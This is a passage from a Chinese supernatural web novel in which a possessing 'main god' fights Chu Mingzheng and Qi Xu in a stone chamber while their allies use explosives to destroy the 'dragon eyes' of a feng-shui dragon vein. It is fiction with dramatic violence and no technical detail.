主神喃喃的念叨了一声,情绪在递进间终于破口而出,他泪如雨下,悲怆万分的朝贺松墨的方向狂奔而去。 然而就在他即将触碰到贺松墨的前一秒,却发现自己的手掌直接从贺松墨的躯体里穿体而过,竟是难以触碰到师父分毫。 贺松墨回过神来,温和而恭敬的垂眼唤了一声:“陛下。” “师父……师父!”主神跪在他面前痛哭流涕,他看着师父浅淡的虚影崩溃,但无论怎么伸手,想要触碰到师父都是徒劳的。 这是帝师与皇帝二人时隔数千年的第一次会面。 整个场景荒诞而离奇,旁边还锁着个楚明铮,更显诡异。 “我,我这就把容器给师父拿过来,师父别急……”主神在贺松墨面前踉跄起身,步履蹒跚着去拿了石台旁边的匕首,径直朝着楚明铮走过去了。 贺松墨平稳茫然的神情里终于出现了一道裂纹:“陛下!陛下三思,楚兄于臣有恩,臣恳请陛下刀下留人!” 主神对这话置若罔闻。 贺松墨显然不愿意看着楚明铮被杀,来给他当容器,于是操纵着尚且运用不熟练的灵体,踉踉跄跄的朝主神阻拦而去。 奈何死人和活人的身体之间是有一层天然的隔阂的。 主神触碰不到身为灵体的贺松墨,贺松墨当然也触碰不到占据着活人躯体的主神。 主神单手持刀,直刺楚明铮咽喉! 就在这千钧一发之际,主神的身形骤然一晃,眼睛里重影交叠,黑雾与正常的瞳仁交替闪烁,他手中的刀柄一时间竟拿不稳了。 楚明铮瞬间意识到了主神精神出现变故的原因,他尽力向后躲闪着刀锋,同时大喊一声:“齐栩!” 企图唤醒对面躯壳里另一个人的神志。 齐栩的面容扭曲了一寸,两个灵魂在一个人的身体里打架,他似乎在承受某种极其难以忍受的痛苦。 楚明铮喘息着,又喝了一声:“齐栩,醒醒!” 主神持刀的手摇摇欲坠,嗡嗡嗡……刀锋在半空中晃动出极其支离破碎的光影,齐栩从极致的压迫中勉强挤出一寸神志,艰难的喊了他一声:“师父……” 主神的精神力明显是强于他的,那刀锋的尖头眼看着离楚明铮的咽喉近在咫尺。 楚明铮的身形被铁索捆着,退无可退,他哽咽似的缓和着吐息,安慰齐栩道:“没事,别怕,你尽力就行。” 贺松墨在身后险些一口老血吐出来。 什么叫做尽力就行! 楚兄啊!有没有搞清楚,这个房间里现在最命弦一线的就是你! 贺松墨几乎要绝望了,他又双膝一弯,跪在地上,像从前无数次那样,朝着皇帝磕头哀求起来:“陛下!臣恳请——” 贺松墨话音未落,说时迟那时快,只见齐栩拼尽最后一丝精神念力,将主神持刀的那只手快准狠的朝一旁石壁上一撞! 刀尖的弧度刹那间离开楚明铮的咽喉附近,楚明铮暂得片刻喘息的空隙。 下一秒,令在场所有人都没想到的事情发生了。 齐栩的灵魂挣扎着,从自己的身躯里脱离出来,飘飘忽忽的灵体从肉身分离,随即破体而出。 齐栩的生魂和他本体的长相是如出一辙的,唯一能够做以区分的是两者之间的透明度。 现在这个石室里的生物种类一分为二。 两个魂魄,两个人类,在一方狭小的空间里对峙。 贺松墨没搞清楚这个叫齐栩的年轻人是要干什么,他如此行径,不就相当于把自己的身体控制权,全权交给皇帝,让皇帝得以毫无阻拦的刺杀同为实体的楚明铮么? 楚明铮腕上的锁链被晃的哗哗作响,他此时已经站不太稳了,全靠手腕和脊背支撑着全身力道。 背后冷汗涔涔,早已浸湿了衣衫。 楚明铮人已经濒临虚脱了,但是大脑却还在岌岌可危的运转,他仅用两三秒的功夫,就想明白了齐栩此举的用意。 只见齐栩灵魂脱体后的第一件事,就是直奔贺松墨,以迅雷不及掩耳之势,一把将那清瘦的书生从地上抓起来,虎口一勒,扣在身前,不让他动弹了。 “大人,您现在还是放下刀的好。”齐栩冷冰冰的挟持着贺松墨,对主神道。 “只有活人才能触碰到活人,那么同理,只有灵体才能触碰到灵体。”齐栩在虚空中,用几近乎透明的掌心,威胁性的摩挲着贺松墨的咽喉。 “如果你要伤楚明铮的话,那我只好对贺老师也痛下杀手了。” 主神愕然转过头去,似乎完全没想到齐栩居然还能出此招数。 “楚,楚兄……”贺松墨惊慌失措的叫喊了两声。 楚明铮哗然一晃手腕上铁索,无奈道:“我也没法子啊仙鹤兄,我现在自己也泥菩萨过河自身难保。” “要不你劝劝你这皇帝学生,让他把我松开,然后我们一起想办法,万一能得出个两全其美之策,又何必非要你死我活呢?”楚明铮暗示性的朝贺松墨眨眨眼睛。 身前主神嘶吼着一刀横刺过来,瞬间将楚明铮肋骨部位又贯穿了一次。 楚明铮登时收声,鲜血从口中齿缝间争先恐后的满溢出来,血色狰狞至极。 齐栩大惊,控制不住惊喝出声:“师父!” 下一秒贺松墨那厢也惨叫起来,他被齐栩毫不收力的扼住喉咙,灵体面容上的一双眼睛暴突而起,呲目欲裂。 加上贺松墨本身对疼痛的忍受能力不及楚明铮,一时间鬼泣涟涟,痛苦的尖叫在头顶山洞上空盘旋数个来回。 主神握刀抵住楚明铮咽喉的手明显颤动了一下,似乎在进与退之间犹豫着。 楚明铮已经没什么力气再做反抗了,他的头颅因为伤重而无力的垂落下去,从平视的角度看不清他脸上神色。 只有止不住的鲜血从他的口鼻中涌出来,滴滴答答淌落在地面上。 齐栩的虎口死死捏着贺松墨的喉咙,一双眼睛已经濒临猩红状,他一把攥起主神的手指,作势要寸寸捏碎,嗓音沙哑,语中含血。 “陛下,你也知道自己碰不到灵体,如果你再动楚明铮一下,我发誓让你这位身骨孱弱的帝王师在我手上死无葬身之地。” “我可以徒手把他的灵骨捏成一片一片的碎渣。”齐栩咬牙道:“让你拼都拼不回来。” 主神很残忍的笑了,他用刀锋轻轻抬起楚明铮苍白脆弱的下颌,刀背上的寒光反射进楚明铮无力垂落下去的眼底。 一行血线顺着他的嘴角而下,倏然打落刀背一侧。 主神轻轻晃动着刀柄,满目欣赏的看着楚明铮的惨状,赞叹道:“真好看。” 齐栩几乎要出离的愤怒了:“你——” 就在这时,楚明铮的手腕几不可察的拧动了一下,随即空气里爆响起“咔咔”两声,骨骼错位的声音。 主神狐疑的抬眼望去,却见楚明铮仍然垂着头,并无异样。 他又检查了一下其他地方,没找到楚明铮是哪里骨折了。 说时迟那时快,就在所有人都没有反应过来的档口,只听又是一声骨头错位惨烈的撕拉声,楚明铮的一只手骨瞬间挣脱铁环枷锁,怒甩而出。 甩出的瞬间在坚硬的石墙上用力一撞,“咔嚓”一声手骨归位,那声音听起来已经是常人难以忍受的剧痛了。 但是楚明铮面不改色,连一声都没吭。 主神的瞳孔顷刻间紧缩到一处,以最快的速度将握刀的那只手向回收缩! 然而还是晚了一步。 楚明铮头也不抬,闪电般出手,一把抓过主神手腕,单手一个巧劲加擒拿,修长指骨灵活翻动,空手夺白刃,瞬间将主神的刀锋抢到了自己手里。 紧接着,他抬起那双因为剧痛而被水光浸透的眼睛,目似寒冰,朝着主神冷冷一勾唇角。 下一个瞬间,对准自己仍被束缚的那只腕骨扬手砍落,刀锋触铁的瞬间切割而下,削铁如泥,迸发出满泼刺眼火光! 所有人都被他这生死关头之际,斩钉截铁而又行云如流水般的一套疯狂举动惊的目瞪口呆。 主神喃喃低语:“原来你们两人是这样打配合的么……我还真是小瞧你了。” “没小瞧,挣脱你这铁环还是比我想象中更费劲一些的。”楚明铮喘息着揉了揉通红发酸的手腕,掌心中刀刃修长,刀尖锐利。 他将刀柄换了个方向,眼中杀气比之刀光更甚几分,锋芒闪烁直指主神。 主神慢慢的笑了。 “看样子接下来能分胜负的就只有你我了,是不是?” “是的。”楚明铮干脆道:“毕竟旁边身为灵魂的两位,看起来力量悬殊,没什么可比性。” 齐栩单手钳制着贺松墨,神情紧张,半点都没有放松的姿态。 他自己的身体力量他自己心里清楚,他长大成年以后,曾无数次将楚明铮不由分说,轻轻松松的压制在床榻上动弹不得。 况且他个子比楚明铮高了快大半个头,身形结实肌肉流畅,基础武力值就已经不低了,若论蛮力,楚明铮绝对不是他这具身体的对手。 现在楚明铮要跟他这具身体站在对立面,硬碰硬想抗衡,齐栩却什么都做不了。 不由得更崩溃了。 楚明铮敏锐的察觉到了齐栩的情绪变化,于是回身重重呵斥一声:“给我打起精神来!” “我还没怂呢,你怕什么。”楚明铮横刀在身前,倨傲的又将目光转回主神身上。 “看好贺松墨,待会儿我身上多一个窟窿,你就负责让他灵体上也多一个窟窿,听明白了吗?” 齐栩一怔:“是,师父!” 贺松墨被挟持在齐栩手中,清俊面容欲哭无泪:“楚兄,你方才不是这样跟我说的……” 楚明铮没来得及回答他的话,因为下一个瞬间,主神操纵着齐栩的身躯狂扑过来,以泰山压顶之势侵袭到楚明铮身畔。 楚明铮朝旁侧俯身一闪,刀锋随即递出,下手稳准狠快,刀背猛击对方破绽之处,逼迫着主神在空中变换方向,冷不防扑了个空。 两人在石室里又过了数招。 主神借用了齐栩的力量,赤手空拳却力大无穷,单凭拳风就能将楚明铮驱至半米远处,难以近身。 楚明铮单手执刀,锐气横扫,与主神的拳头悍然相撞。 两人始终不上不下的僵持着,谁都难以伤到对方分毫。 齐栩在旁边目不转睛的看着他俩的举动,眉心一紧,他很快发现了一个问题。 楚明铮似乎一直在收着力打架,刀锋每每递到对方要害之处时,他就会蓦然将刀柄收回来,防止真戳到主神。 齐栩怔然半晌,随即意识到了楚明铮这么做的缘由。 他始终在顾忌着自己的刀锋,不敢伤到主神,受掣肘颇多,眼看着就要落入下风了。 因为那是齐栩的身体。 ……楚明铮不愿意把刀砍在齐栩的身体上。 第103章 最后一只龙眼 主神显然也意识到了这一点,他狰狞的笑了一下,肆无顾忌,一拳朝楚明铮面门砸去。 楚明铮不得已在空中划了个刀花,刀尖对准主神扬过来的拳头轻飘飘一拦,力道收的刚好,不偏也不倚,刚好将他的拳头迎面逼退回去了。 主神肆无忌惮的大笑起来:“楚先生,你今日这是怎么了,打架打的如此斯文。” “朕可是见过你在血池棺林里砍杀朕御前侍卫时那副模样的,那一刀下去,刀刀见血,一斩封喉,与今日相比……简直大相径庭啊。” 他打定了主意,知道楚明铮奈何不了他,于是毫不胆怯,步步向前,将楚明铮逼的越来越近。 齐栩在旁边暴跳如雷:“师父,你放心砍他,不用管我!” “只要你给我留口气在,我回去慢慢养伤就行,师父揍他!” 楚明铮深吸一口气,答应一声:“好。” 话音刚落,主神的横踢紧随而至,楚明铮闪电般拧身闪避开,旋身的瞬间刀锋直刺主神肩头大穴,主神见状当然也不肯站着让他刺,于是顺势翻掌,直接用手掌往楚明铮刀锋所指的地方格挡。 他笃定楚明铮没办法下定狠心将齐栩的手掌一刀洞穿,于是楚明铮砍哪儿他都无所谓,反正伤的是齐栩的身体。 然而这一回他失策了。 主神全副身心的注意力都在对面楚明铮明晃晃的刀锋上,完全没注意到他另一只手的动作,直到自己下腹一痛,膝盖正中的地方接连挨了数拳,整个人重心后仰,电光火石之间被楚明铮欺身而上,一把按在了石壁板上。 后脑勺重重往石板上一砸,发出惊天动地一声巨响! “咚!!!” 齐栩在一旁听的格外头疼,心说师父啊,您可别把我打成脑震荡了。 主神仰身倒在地上,一个字都讲不出来,眼前仿佛有无数电流稀稀拉拉飞窜而过,楚明铮冷着脸,没有给他任何喘息的机会,上前就要在非要害部位补刀。 他确实不能真把齐栩这副身子骨打残了,但是他也不能让主神有反抗的时机,这种情况下,只能暂时给他把腿打断了。 楚明铮的眼神瞟到齐栩那边去,似乎在无声的征求了一下他的意见。 齐栩痛苦的别过脸去,挥手示意他尽管动手吧,不必在乎你徒弟。 楚明铮回身,对准地上的主神就是一记刀柄,直砸而下。 然而一声巨响过后,主神的膝盖骨竟是毫无动静,不说被打断了,连个弯折的弧度都没有。 楚明铮愕然片刻,难以置信的抬眼与主神对视。 主神目光慈祥的望着他,语气充满了怜悯:“我从前确实听说过,凡人上了年纪,都会记忆力减退,智力下滑。” “楚先生如今不过而立之年,怎得也开始记忆退化了呢?” 楚明铮的脑海里闪过一个极其可怕的念头,他想起来了,齐栩在成为主神话事人的那一刻起,浑身上下无疑都被主神改造过了。 他会受伤,也会疼,但是愈合功能是常人的数倍,单凭寻常刀具,也根本无法在短时间内对他造成难以行动的伤害,更遑论被人直接推翻在地,后脑勺砸中地面了。 主神从刚才到现在,从头到尾,都没有真正被他打到要害。 与其说是楚明铮在与主神打斗,不如说主神凭借齐栩的不死之身,加上楚明铮不敢砍伤齐栩的顾虑心理,满场将楚明铮溜着玩。 楚明铮和齐栩不约而同后背出了一身冷汗。 主神笑盈盈的躺在地上,一把握紧了楚明铮手中刀柄,逼着他将锋刃一点一点逼近自己最脆弱的咽喉。 “齐栩这身筋骨,确实与常人有异,若是单凭楚先生方才的那几下小猫挠抓似的砍刺,当然不能重伤于朕,但是倘若楚先生现在拿着你手上的那把刀,直接刺穿朕的喉咙……”主神眯着眼睛,满怀恶意的笑起来。 “那便能将朕与齐栩,一起送下地狱了。” 楚明铮伸出去的刀锋死死停滞在半空,他手臂上所有的筋骨皆数暴起,每一寸血管都因为极度用力而在苍白的皮肤上显得青红交错。 一滴冷汗从他的下颌径直滚落而下。 “你真的不杀朕吗?”主神继续柔和的问他。 楚明铮咬着牙,浑身痉挛着,胸口那两处刀伤因为方才剧烈的打斗,如今已经在衣襟里崩裂开来,汩汩涌出血水,染红了他的内衬和外套,楚明铮脸色冰凉苍白,已经到了承受不住的极限点。 齐栩是不死之身,主神是上古老妖精,贺松墨是无身无形的灵体。 只有楚明铮是他们当中唯一的肉骨凡胎。 这身脆如蝉翼的凡人身躯最孱弱易碎,但却承受的最多。 他握着刀柄,尽力支撑着重伤的身体,无论主神怎么挑逗,他都不肯放松分毫,始终不让刀尖触碰到齐栩的皮肤半分。 石室之内一片寂静。 齐栩的视线不知不觉的模糊了,他盯着楚明铮清瘦挺直的背影,只觉得这些年从没真正看清楚过这个养他长大的男人。 楚明铮其实从未薄待他,无论他是那个在雪地里哭嚎的小朋友,还是后来能独当一面的齐长官,在楚明铮眼里,他自始至终都是个需要被保护的小徒弟。 “你不敢动手,是吗?”主神轻声细语的问。 楚明铮毫无情绪的低头与他对视,手骨捏在刀柄之上,指关节因为过度用力而泛起了青白色。 “那就轮到朕了。” 主神吐出这句话的瞬间,翻身而起,一掌将楚明铮向后推去数步,反手就去夺楚明铮手中刀刃。 楚明铮将刀柄当空抛起,瞬间变换左右手,换了个角度朝主神横里斜刺,被主神灵活躲过。 主神侧身变了一寸方向,很快反客为主,单手扣住楚明铮腕骨,将他逼退至石壁一侧,威胁性十足的柔和笑道:“你看,你原本力量就不如我,你还顾忌着不敢伤我,那你跟我有什么可抗衡的可能性呢?” 他握着楚明铮的手腕,将他的后背倏然往石壁上一砸,楚明铮登时被震到伤口,前襟血水汹涌,嘴唇更显苍白,喘息着靠在石壁上脱力下去。 “小齐,你知道我这么多年为何坚持要让老魏跟你在主控中心分庭抗礼吗?”主神轻轻拍了一下楚明铮歪下去的头颅,回身云淡风轻的问齐栩道。 齐栩咬紧牙关,一个字都不肯跟他对答。 于是主神自问自答。 “因为这个人虽然古板,老旧,不受年轻人喜欢,还有点轴,但是他有一句口头禅,是我很喜欢的。” “他说我们上了年纪的人,总归是比年轻人多吃了几十年口粮,无论是人生经验,还是应对策略,都比年轻人丰富的不是一星半点,唯一能将我们拍死在时代沙滩上,让我们难以比过年轻人,且被迫退出历史舞台的,就只有时间还有逐渐衰老的躯体。” 楚明铮卧在地上,痛苦的喘息着,一言不发。 “但是很不巧,朕生来便是天子,不受时间与空间的束缚与困扰,凡朕想杀之人,想成之事,还从未有落空的。” “所以……”主神缓慢的在这间狭小而空旷的密室里踱步片刻,温和道:“物竞天择,适者生存,朕已经用千年光阴来证实了朕是那个生物竞争中最大的胜利者。” “让朕来送你们下地狱吧。” “多谢你这些年的协助了小齐,你是个优秀的执政官。” 齐栩将贺松墨牢牢按在地上,冷声问道:“看样子你是真不怕我将你师父的灵体捏成粉碎性骨折。” “我不怕。”主神回答:“你只能暂时伤害他的灵体,但是只要他身处这方龙脉风水宝地之间,师父的魂魄就不会消散,等我取了楚明铮性命,再将师父的残魂引渡到他身上,师父自然起死回生。” “至于你……” 主神好整以暇的在他面前,用齐栩自己的身体,给他转了个圈,以做展示。 “你原本就是活人之身,被强行驱逐出身躯,既不属于黄泉路,也不属于活人的范畴,不死不灭,不容于世,不用朕动手,假以时日,你这等孤魂野鬼,自然消散于天地间。” 主神和气道:“事已至此,二位还有什么遗言要交代么?” 齐栩面容古怪的扭曲了一下,末了他将贺松墨放开,自己飘到了楚明铮身畔去,跟楚明铮并肩而坐。 “没什么了。”齐栩抬眼简短道:“您说的对,物竞天择,适者生存,我等蝼蚁自当舍弃生命,给陛下效力。” 主神倨傲的从他俩身前踱步而过,神情睥睨,并不以为意。 毕竟无论是在他生前还是死后,他都掌控着无数人的生杀予夺大权,他并不觉得他如今要齐栩和楚明铮为他的要求付出生命的代价,是个多么不得了的事。 他只是觉得棘手。 从前他做皇帝的时候,想要谁死,都只是一句话的事,只要吩咐下去,自有旁人争先恐后替他完成,他身处主控中心图腾室里的时候,想要谁死,也只是操控一下意念,就能隔着数米,将人斩杀当场。 如今当年替他完成命令的狱卒和御前侍卫们,早都消失在历史的长河里了,而他为了占有齐栩的身躯,自觉主动从图腾室里出来了,也就等同于他放弃了自己的意念神力,只能成为齐栩,跟师父重逢相守。 不过主神不在意这些,总会有办法的。 大不了,等师父彻底在楚明铮的身躯里驻扎稳妥了,他就把师父带回主控中心,禁锢在那方图腾室里。 这样他就既能拥有神力,也能拥有师父了。 贺松墨青衫素袍,站在不远处麻木的看着他。 主神柔声的又唤了一声;“师父。” 贺松墨退后一步,满面抗拒。 主神失望而不解的看着他,师徒二人,一人一魂,隔着虚空无声对峙。 这边齐栩靠在楚明铮身侧,轻轻将半边身体挡在了他身前,楚明铮实在是太疲倦了,周身失血过多,他有心张口安慰齐栩,但是喉结滚动,竟一声都发不出来,只能抬眼无奈的看着他。 令人意外的是,齐栩的面容意外的沉稳,他将半透明虚空的一只手手递到楚明铮手上。 楚明铮下意识以为他又向从前无数次那样,要朝自己撒个娇,于是也没做多想,便将他的掌心虚虚的握住了。 然而齐栩接下来的举动更加出乎他的意料。 他牵引着楚明铮的手,一路指向了楚明铮的口袋。 楚明铮一怔,顺着他所指的方向向下看去,只见齐栩无声的用指尖点了点他口袋里的手机。 然后几不可察的用口型对他说了三个字:炸龙脉。 楚明铮几乎是顷刻间就领悟了他的意思,一线生机在须臾中陡然升起。 两人用身形彼此靠拢,楚明铮重新低下头去,仍然装作那副失血过多的无力模样,手指却不动声色的伸到了口袋里,迅速解锁手机,用余光紧盯屏幕,噼里啪啦打了几个字,将信息群发给了几个紧急联系人。 …… 周自重倏然踩下刹车,拿出不住震动的手机看了一眼,随即将屏幕递给车后座的几个人:“这是什么意思?” 车后座上坐着大徐,楚小妙和马飞仙,魏仞,以及楚朝。 楚小妙和马飞仙是今天早上跨越二百多公里,按照楚明铮所发的定位,驱车赶到深山里来接他们的,哪料他们费劲巴拉的找了一圈,只找到了魏仞和周自重两个。 楚明铮和齐栩统统不见了踪影。 于是一行人开着车要死不活的跨越山路,满山扒拉楚明铮和齐栩的痕迹,然而几个小时都一无所获。 老魏说再这样下去不行的,你们这车看起来快要没油了,这附近可没有加油的地方,最近的加油站在距离山区五十公里开外的镇上,不如我们先出去,再多叫几个救援,返回来再找他俩? 楚小妙虽然心急如焚,但是也不得不承认老魏说的有道理。 就在他们打算按照原路返回,出山区外去找救援的时候,周自重的手机开了震动,接连收到了数条信息。 “我也收到了!”马飞仙大叫。 “我我我……我也有。”大徐惊慌失措。 “什么?什么给我看看!”楚小妙急切道:“哥哥为什么没给我发!” “可能觉得你靠不住吧。”大徐安慰道。 “……” 马飞仙,大徐和周自重将手机上的信息互相对换了一下,发现楚明铮传讯给他们的信息是一样的。 言简意赅。 “此山是汇聚阴气的龙脉,找炸药,炸毁这里,我们便可脱身。” 五个人在车里面面相觑,对视片刻。 两秒之后,周自重一脚油门调转方向盘,朝山林的更深处疾驰而去。 “老魏,我记得主控中心里,你是有□□炸药控制权的对吧?”周自重疾言厉色道。 魏仞一怔:“有,我现在打电话给手下,让他们用直升机把东西调过来。” “很好,越多越好。”周自重有条不紊的吩咐:“老马。” 马飞仙一个激灵:“在。” “我记得你精通风水之术,你现在就通过这里山林的分布图,找这条龙脉的关键节点在什么地方,一旦你推算出来,待会儿我们就按照你说的方位安置炸药。” 马飞仙结结巴巴道:“……周,周会长,我不精通的,你知道我最开始就是个骗子,死皮赖脸才留在楚哥基地里,让他罩我的,您怎么会觉得——” “那也没办法,我们只有你了。”周自重在后视镜里诚恳的看着他道:“不管你是真会还是假会,现在都只能死马当活马医了。” 马飞仙欲哭无泪。 楚小妙坚定的拍了拍他的肩膀:“你可以的老马,这么多年,我其实一直觉得你是我见过最厉害的人。” “是啊老马,你要是没用的话,楚哥不会允许你在基地混吃混喝这么多年的。”大徐也鼓励他。 马飞仙:“……你们一群站着说话不腰疼的家伙!” 时钟分针一点一点的顺时针拧转,不多时,直升机就在空中发出巨大的轰鸣,两根螺旋桨呼啦啦盘旋,空中降下绳索,缓缓将用结实木盒装箱的重物下放到地面上。 周自重大力挥舞着手臂,朝头顶表示感谢。 “别感谢飞行员了,感谢感谢我吧。”老魏长官没好气的在一旁道:“这都是我这些年压箱底的宝贝,没想到最后用来救我最讨厌的同事了。” 楚小妙好奇道:“魏长官,你没事在家里囤这些东西干什么?你也幻想过炸主控中心,炸副本吗?” 老魏看了楚小妙一眼,想起自己家里那个跟她岁数差不多的小孙女,语气难得和气了不少:“不是。” “我只是觉得自己岁数大了,靠谁都不一定靠得住,副本的世界里没有法律约束,我得收集点自保的东西而已。” 楚小妙恍然大悟:“原来如此。” 周自重拍了拍手,示意马飞仙跟自己一起将那几个巨大的木箱抬到车上。 “好了朋友们,振作一点,该干活了。” “老马,你推测的如何了?”楚小妙问。 马飞仙大汗淋漓的帮着周自重将木箱全部抬上车,完事之后,自己从口袋里掏出罗盘和鲁班尺,单手伸出双指,一弹尺上灰尘,嘴里念念有词,另一只手不知道从哪儿摸了块指南针出来,表盘上的指针簌簌晃动,摇摆着震动半晌,最终指定了山林里的一处方位。 老马倏然睁开眼睛,果断道:“九点钟方向,十公里处,一处龙眼。” 周自重不敢怠慢,火速招手,众人纷纷上车,越野朝着指南针所指方向疾驰而去。 在这种没有导航的地方,周自重的方向感和对公里数的把握度也强的惊人,十公里后他一脚刹车又停了下来:“到了,哪里?” 马飞仙从车上跳下来,凝神聚气,猛然一抽寻龙尺,寻龙尺“嗡——”的一声,发出尖锐的鸣叫。 “你别光嗷嗷,告诉我龙眼睛在哪儿啊!”马飞仙着急道。 寻龙尺默然半晌,颤动的更厉害了。 “我知道在这附近,告诉我具体位置。”马飞仙催促道。 楚小妙低声跟大徐交头接耳:“老马是不是疯了,他在要求一把尺子跟他说话。” 大徐同样窃窃私语回道:“你祈祷这把尺子会说话吧,楚哥和小齐的身家性命都系在上边呢。” 楚小妙不寒而栗,双手交握,祈祷了起来。 马飞仙握着尺子,跟随它颤动的频率幅度,将四周全都走了一遍,最后停在了颤动频率最高的一处石壁面前。 周自重和大徐对视一眼,凝重的跟上前去。 “确定是这里吗?” 马飞仙摇摇头,这行走江湖数年,骗人从不眨眼睛的老油条,这辈子第一次流露出一丝惶恐来:“我不敢确定……怎么办?” “我只知道龙眼睛在这附近,一条龙脉分两只龙眼,一整条龙身,龙尾,龙鳞,其中龙眼的位置最为重要,把龙眼所占据的山体毁掉的话,就相当于这条龙瞎了,龙脉毁了一半。” “我已经推测出一只龙眼所处的地方了,还差一只,应该在山的另一边。” 大徐沉吟片刻,果断一拎马飞仙手腕,对他道:“没时间了,就这里吧,咱们先炸了它。” “就算有几寸偏差也没关系,把炸药往山体内部埋的深一些,一旦引爆,就炸的是整个山体,无论龙眼具体位置在哪儿,都会被波及着有余威的。” 一行人说动就动,很快将炸药从木箱里搬了出来,七手八脚的撬开山下的石头,将炸药向下掩埋而去。 马飞仙明显是他们当中最不放心的一个,他一边埋,一边焦虑的时不时看着四周。 直到大徐催他上车,他才惶然回神,浑浑噩噩的跟着众人上车离开。 周自重看了一眼表盘,嘱咐魏仞道:“魏长官,一旦我开出去五公里外,你就引爆炸药,不用顾虑,我全都测算过了,那是安全距离。” 魏仞“嗯”了一声,苍老的手已经按在了怀中按钮上。 马飞仙的焦虑已经快满溢出来了。 “我要是出错了怎么办,你们怎么敢信任我?老周你说句话啊,我,我……”一向老神在在的马飞仙同志,此时连话都说不全了。 “老马。”大徐耐心的喊了他一声。 马飞仙真的眼泪都快掉出来了:“嗯?” “如果楚哥在,楚哥也会信任你的。”大徐认真的说。 车内一片寂静,只有轮胎在山地上滚动起伏的摩擦声。 良久,马飞仙“嘤”的一声,这回眼泪真涌出来了。 “第二只龙眼,在三点钟方向,二十公里。”马飞仙重振了片刻旗鼓,拿起罗盘对准车前盖处一通瞄准,大概是受到同伴鼓舞了的缘故,他这回的语气要笃定的多。 “好。”周自重不假思索,直接就按照他的思路走。 “小楚朝,你别一声不吭啊。”马飞仙笃定了一两秒,脸色又哭丧下去,转而去求助有特异功能的楚朝。 鬼少年的脸色看起来颇差:“我不行的老马,这个地方的磁场太过紊乱了,我什么都感知不到,我现在脑袋一直在嗡嗡作响,好像有无数鬼魂在我耳边絮絮叨叨。” 大徐从手套柜里捞了一个降温贴给他:“往脑袋上贴一个,没准儿能好一点。” 楚朝贴了冰镇贴,虚弱的靠回床上,气息奄奄道:“这到底是什么鬼地方……” 车子一路飞驰,行驶过半,只听身后惊天动地“轰隆——”一声,爆炸声响彻云霄,巨大的硝烟从山的另一头升起,浓云滚滚,四处都弥漫着黑雾。 马飞仙手中罗盘猛然一颤抖,寻龙尺原本是搁在车座上的,此时只听“铮铮”两下,蓦然断裂开来,将一车的人注意力都吸引了过去。 老马捧着两片断掉的寻龙尺,激动的连声音都在打寒战:“我刚才找的方向没错,第一只龙眼炸掉了!” 与此同时,山洞之内。 主神身形一晃,太阳穴犹如被针扎了似的传来剧痛,他蹙眉转头望向山洞外的天空,只见滚滚浓烟犹如高耸的天柱当空而起,一层一层看不见的辐射波裹挟着巨大的热浪扑面而来。 “这是什么情况?”主神狐疑的问楚明铮和齐栩:“是不是你们两个搞的鬼?” 楚明铮苦笑一声,朝他有气无力的指了指自己前襟上那两处骇人的伤口:“显然不是啊陛下,心有余而力不足。” “难道是山里的什么野兽打起来了?”主神在石室里又转了一个来回,他这会儿暂时把杀楚明铮夺躯体的事情忘到了脑后,一门心思的钻研着山洞外的情况。 楚明铮和齐栩悄无声息的对视了一眼,双方都从彼此眼中看出了一丝得意之色。 仿佛是绝境里师徒二人最后的默契,在生死交际之时显得熠熠生辉。 第104章 山火 第二只龙眼的位置距离第一只龙眼有二十多公里,周自重开车一路狂飙,载着众人在坑坑洼洼的土路上飞驰,眼看着就要到罗盘所指引的位置了。 楚朝忽然头痛欲裂的嚎叫了起来,捂着脑袋到在车后座上哭嚎着打滚:“怎么回事?我,我的头好痛……” 周自重开车的间隙朝后视镜上瞥了一眼,冷静道:“再忍忍,可能是晕车了,我们马上就到。” 楚朝艰难的从车后座上爬起来,他将额头抵在手心里思考了两秒,开口沉声道:“不对,我有感应,这不是简单的头疼。” 一车人的目光同时向他转来,楚朝是个正儿八经有特异功能的鬼宝宝,没人会在这种时候怀疑楚朝的判断。 他忍着满头的冷汗,朝众人一指右侧方位:“我感应的方向是那边,而且……我好像在那个方向闻到妈妈的气息了。” 周自重犹豫着不知道把车要往哪儿开。 这时候马飞仙发话了:“你的感应不无道理。” “那个方向是龙脉心脏所在的方向,如果楚明铮和齐栩那俩人被困的地方是龙脉的心脏的话,那也说得过去,毕竟除了两只龙眼之外,就只剩下龙的心脏最重要了。” “一旦龙的双眼,还有心脏一起被炸毁,那这条风水宝地也就算是废了。” 周自重一脚把油门踩到了最底,越野再次狂飙了五六分钟后,在一处山崖的最底下停了下来。 “左眼到了。”周自重推门下车,直奔后备箱将第二箱炸药和□□全数搬出来,紧接着快速吩咐道:“我们兵分两路,我,老魏,小妙留在这里给龙脉左眼装炸药。” “楚朝,老马,大徐,你们三个现在开车去心脏,无论如何在二十分钟以内把那个地方炸掉。” “时间紧迫,快走!” 周自重一声令下,几个人齐齐动作,大徐毫不犹豫推门上驾驶位,楚小妙和老魏从车上下来后,周自重抬手重重将车后备箱的大门一合! 越野发出一声巨大的轰鸣,随即喷着怒火狂奔而去,尾气和轮胎下扬起的尘土交织漫天。 头顶枝叶交错,晦涩如深。 楚小妙拼命将铲子伸到最底下,然后用力一刨,老魏低头捣鼓炸药,按照周自重的指示将炸药和□□沿着龙脉左眼的四周依次放好,冰冷的金属与石壁碰撞,发出咔嚓咔嚓的响动。 “周叔叔,这个山崖的坡面太陡了。”楚小妙担心的道:“要是山体炸毁之后,我们来不及跑出去怎么办?” 周自重抬头望了一眼头顶高耸不见云的山崖,深吸一口气,笃定道:“没事,□□一按好我们就跑,死不了。” 楚小妙点点头:“我信你。” 这句“我信你”声音其实不大,但是被呼啸山风卷进周自重耳中的那一刻,还是让他怔然半晌,难以开口。 老魏正在低头将一个□□往更深的地方推搡,他担心□□埋得太浅,难以对龙眼造成毁灭性的打击,一旦龙眼炸毁的不彻底,那这条恶龙就还能用眼睛视物,那接下来会发生什么就不好说了。 他的指尖跟□□的外表皮触碰着,他忽然察觉到□□的表面出乎寻常的炽热,每往里推一下,那隐隐颤动的炽热感就增加几分。 怎么回事? 周自重见他神色不对,连忙走上前来,低头跟他一起看那□□。 □□的尾端正滋滋滋冒着烟气。 周自重和魏仞对视一眼,下一秒他们同时爆发出极具惊恐的叫喊:“快跑——” 老魏一把拎起楚小妙,三个人沿着山路歇斯底里的狂奔,身后仿佛有一双无形的大手朝他们的背影抓来,簌簌簌簌……脚下枝叶在疯狂叫嚣。 